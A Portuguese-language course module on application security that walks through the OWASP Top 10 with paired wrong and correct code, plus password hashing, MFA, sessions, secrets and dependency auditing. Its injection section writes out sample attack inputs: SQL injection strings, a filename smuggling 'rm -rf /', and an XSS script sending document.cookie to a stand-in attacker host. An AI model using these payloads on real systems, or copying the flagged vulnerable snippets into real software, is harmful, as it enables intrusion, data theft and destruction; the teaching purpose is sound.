Segurança no desenvolvimento de software
Apresentação
UC02836 (25h · 2,25 pts) aborda segurança aplicacional. O foco é em práticas que o programador controla: validação de input, prepared statements, hash de palavras-passe, gestão de sessão, gestão de secrets, vigilância de dependências.
OWASP Top 10
OWASP (Open Web Application Security Project) publica regularmente o Top 10 de vulnerabilidades mais comuns em aplicações web. A versão 2021/2023:
- Broken Access Control — falha em verificar permissões.
- Cryptographic Failures — dados sensíveis expostos.
- Injection — SQL, command, LDAP, etc.
- Insecure Design — falhas arquitecturais.
- Security Misconfiguration — defaults inseguros.
- Vulnerable and Outdated Components.
- Identification and Authentication Failures.
- Software and Data Integrity Failures.
- Security Logging and Monitoring Failures.
- Server-Side Request Forgery.
Broken Access Control
Aplicação não verifica se utilizador autenticado pode aceder ao recurso.
# ERRADO
@app.route("/admin/users")
def listar_users():
return User.query.all() # qualquer pessoa autenticada acede
# CORRECTO
@app.route("/admin/users")
@login_required
@admin_required
def listar_users():
return User.query.all()
Aplicar verificações em toda endpoint sensível, não só na UI.
Injection
Mais perigoso e infelizmente comum.
SQL injection:
# ERRADO
nome = request.form["nome"]
query = f"SELECT * FROM users WHERE nome = '{nome}'"
cursor.execute(query)
Input malicioso: Ana' OR '1'='1 → devolve todos os utilizadores.
Pior: '; DROP TABLE users; -- pode destruir a BD.
# CORRECTO — prepared statement
cursor.execute("SELECT * FROM users WHERE nome = %s", (nome,))
Driver escapa automaticamente. Nunca concatenar input do utilizador em SQL.
Command injection:
# ERRADO
import os
nome_ficheiro = request.args["f"]
os.system(f"cat /var/log/{nome_ficheiro}")
# Input malicioso: "x.log ; rm -rf /"
# CORRECTO
import subprocess
subprocess.run(["cat", f"/var/log/{nome_ficheiro}"], shell=False)
# Ou validar input contra whitelist primeiro.
XSS · Cross-Site Scripting
Atacante consegue inserir JavaScript que executa no browser de outros utilizadores.
<!-- Comentário público -->
<p>{{ comentario }}</p>
<!-- Input malicioso:
<script>fetch('https://atacante.com?cookie='+document.cookie)</script>
-->
Frameworks modernos escapam por defeito:
- Jinja2 (Flask/Django) —
{{ var }}é seguro;{{ var|safe }}é perigoso. - React —
{var}é seguro;dangerouslySetInnerHTMLé perigoso. - Vue —
{{ var }}é seguro;v-htmlé perigoso.
Para HTML gerado por utilizador (CMS, comentários ricos), usar bleach (Python) ou DOMPurify (JS) para filtrar tags perigosas.
CSRF · Cross-Site Request Forgery
Site malicioso faz utilizador autenticado executar acção sem saber.
Mitigação: - CSRF tokens em formulários POST. - SameSite=Lax ou Strict em cookies. - CORS configurado correctamente.
Frameworks modernos têm proteção CSRF integrada (Flask-WTF, Django middleware, etc.).
Cryptographic Failures
Dados sensíveis expostos: - Senhas em texto plano ou hash fraco (MD5, SHA1). - Comunicação HTTP em vez de HTTPS. - Cifragem com chaves hardcoded. - Cifragem fraca (DES, RC4).
Boas práticas: - HTTPS sempre (em 2026 não há desculpa). - Hash de senhas com bcrypt, scrypt ou argon2. - Cifragem com AES-256-GCM ou ChaCha20-Poly1305. - TLS 1.2+ (idealmente 1.3).
Autenticação
Hashing de senhas
NUNCA guardar senhas em texto plano. NUNCA usar MD5/SHA1/SHA256 directo.
Funções lentas por design com salt automático:
import bcrypt
# Hashear
pwd = "senha-do-utilizador"
hashed = bcrypt.hashpw(pwd.encode(), bcrypt.gensalt(rounds=12))
# Guardar `hashed` na BD
# Verificar
if bcrypt.checkpw(pwd_input.encode(), hashed_da_bd):
print("Login OK")
else:
print("Senha incorrecta")
rounds=12 significa 2^12 iterações. Pode-se subir conforme hardware melhora.
Alternativas modernas: argon2-cffi, scrypt (em hashlib ou passlib).
Política de senhas
Em 2026 recomenda-se (NIST 800-63B): - Mínimo 12 caracteres. - Não exigir misturas obrigatórias de tipos (passwords longas e memoráveis > complexas curtas). - Verificar contra lista de senhas vazadas (haveibeenpwned API). - Sem expiração forçada (utilizadores escolhem piores depois). - Bloquear após 5-10 tentativas falhadas.
MFA
Múltiplos factores: - Algo que sabes — senha. - Algo que tens — telefone, chave. - Algo que és — biometria.
TOTP (Time-based One-Time Password):
import pyotp
# Gerar secret para utilizador
secret = pyotp.random_base32()
# Guardar em BD; mostrar QR code ao utilizador para Google Authenticator
# Verificar código
totp = pyotp.TOTP(secret)
if totp.verify(codigo_introduzido):
print("MFA OK")
WebAuthn / FIDO2 — chave física (YubiKey) ou biometria do dispositivo. Mais resistente a phishing.
Sessões
Cookies de sessão com flags importantes:
# Flask
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # JS não acede ao cookie
SESSION_COOKIE_SECURE=True, # só envia em HTTPS
SESSION_COOKIE_SAMESITE="Lax", # mitiga CSRF
PERMANENT_SESSION_LIFETIME=timedelta(hours=2),
)
- HttpOnly — cookie inacessível via
document.cookie(mitiga XSS). - Secure — só transmitido em HTTPS.
- SameSite=Lax/Strict — não enviado em requests cross-site.
JWT (JSON Web Tokens) — alternativa stateless. Cuidados: - Expiração curta (15 min) + refresh token. - Validar assinatura sempre. - Não guardar dados sensíveis no token (visível em base64).
Validação e sanitização
Validar no servidor
Validação no cliente (HTML5, JavaScript) é só UX. Não impede ataques — utilizador pode usar curl, Postman ou alterar o JS.
Sempre validar no servidor.
# FastAPI + Pydantic
from pydantic import BaseModel, EmailStr, Field
class CriarUtilizador(BaseModel):
email: EmailStr
nome: str = Field(min_length=2, max_length=100)
idade: int = Field(ge=13, le=120)
password: str = Field(min_length=10)
@app.post("/users")
def criar(user: CriarUtilizador):
# Pydantic já validou; se chegou aqui, é seguro
...
Em Flask, usar marshmallow ou flask-validator.
Sanitização vs validação
- Validação — input passa ou não. Rejeita inválido.
- Sanitização — limpa input mantendo-o utilizável.
Exemplo: comentário com HTML.
- Validar: máximo 5000 caracteres.
- Sanitizar: remover <script>, manter <b>, <i>, <a>.
import bleach
html_seguro = bleach.clean(
user_input,
tags=["p", "b", "i", "u", "a", "ul", "li"],
attributes={"a": ["href", "title"]},
protocols=["http", "https", "mailto"]
)
Secrets
Não comitar senhas
# .gitignore
.env
secrets.json
*.pem
*.key
config.local.py
.aws/
# .env (NÃO comita)
DATABASE_URL=postgres://user:pass@host/db
SECRET_KEY=k9sj3kd2lm...
SMTP_PASSWORD=...
# main.py
import os
from dotenv import load_dotenv
load_dotenv()
DB_URL = os.environ["DATABASE_URL"]
SECRET_KEY = os.environ["SECRET_KEY"]
Em produção, secrets vêm das variáveis de ambiente do sistema (12-factor app).
Se um secret é commitado
- Revogar imediatamente (não basta apagar do código).
- Mudar todas as credenciais possivelmente comprometidas.
- Limpar histórico Git com
git filter-repoou BFG. - Force-push (cuidado!) — pode quebrar branches de outros.
Cofres de secrets
Em produção empresarial: - HashiCorp Vault — open-source, on-premise ou cloud. - AWS Secrets Manager / AWS Parameter Store. - Azure Key Vault. - Google Cloud Secret Manager.
Vantagens: rotação automática, auditoria, controlo de acesso fino.
Dependências vulneráveis
70%+ do código moderno vem de bibliotecas externas. Cada uma é uma porta de entrada.
Detectar
# Python
pip install pip-audit
pip-audit
# Node
npm audit
npm audit fix
# GitHub Dependabot
# Activar em Settings → Security → Dependency graph
Boas práticas
- Pin de versões em requirements.txt (
==1.2.3em vez de>=1.0). - Lock files (
poetry.lock,package-lock.json) — versões exactas, reprodutível. - Revisar alertas semanalmente (Dependabot, Snyk, Renovate).
- Actualizar prontamente quando há CVE crítico.
- SBOM (Software Bill of Materials) — lista completa de dependências.
Supply chain attacks
Atacante consegue infiltrar package legítimo:
- Typosquatting — requets em vez de requests.
- Compromisso de mantenedor — conta hackeada, publica versão maliciosa.
- Dependency confusion — pacote interno com mesmo nome em PyPI público.
Mitigação:
- Verificar nome exacto antes de pip install.
- Usar registries privados para pacotes internos.
- Pinning rigoroso de versões.
Logging e monitorização
Log adequado
import logging
logger = logging.getLogger(__name__)
# Log de auditoria — tentativas de login
logger.info(f"Login attempt: user={user.email} success={ok} ip={request.remote_addr}")
# NÃO logar
logger.info(f"User logged in with password {password}") # ERRADO
Logar: - Tentativas de autenticação (sucesso/falha + IP). - Acessos a recursos sensíveis. - Operações administrativas. - Erros inesperados.
Não logar: - Senhas, tokens, cartões de crédito. - Dados pessoais excessivos.
Monitorizar
- Alertas em padrões suspeitos (10 logins falhados em 1 min).
- SIEM (Splunk, ELK, Wazuh) — agrega logs de várias fontes.
- Backup dos logs offsite.
Apêndices
A · Cheatsheet defesa
# SQL: prepared statement
cursor.execute("SELECT * FROM x WHERE id = %s", (id,))
# HTML: confiar no escape do framework
{{ var }} # NÃO {{ var|safe }}
# Password
bcrypt.hashpw(pwd, bcrypt.gensalt(12))
# Sessão
secure=True, httponly=True, samesite="Lax"
# Validação
pydantic / marshmallow
# Secrets
os.environ + .env
# Dependências
pip-audit, npm audit
B · Glossário
CSRF. Cross-Site Request Forgery. CVE. Common Vulnerabilities and Exposures. MFA. Multi-Factor Authentication. OWASP. Open Web Application Security Project. SSRF. Server-Side Request Forgery. TOTP. Time-based One-Time Password. XSS. Cross-Site Scripting.
C · Recursos
- OWASP Top 10 · owasp.org/Top10/
- PortSwigger Web Security Academy · portswigger.net/web-security — gratuito.
- haveibeenpwned.com · API de senhas comprometidas.
- CWE database · cwe.mitre.org.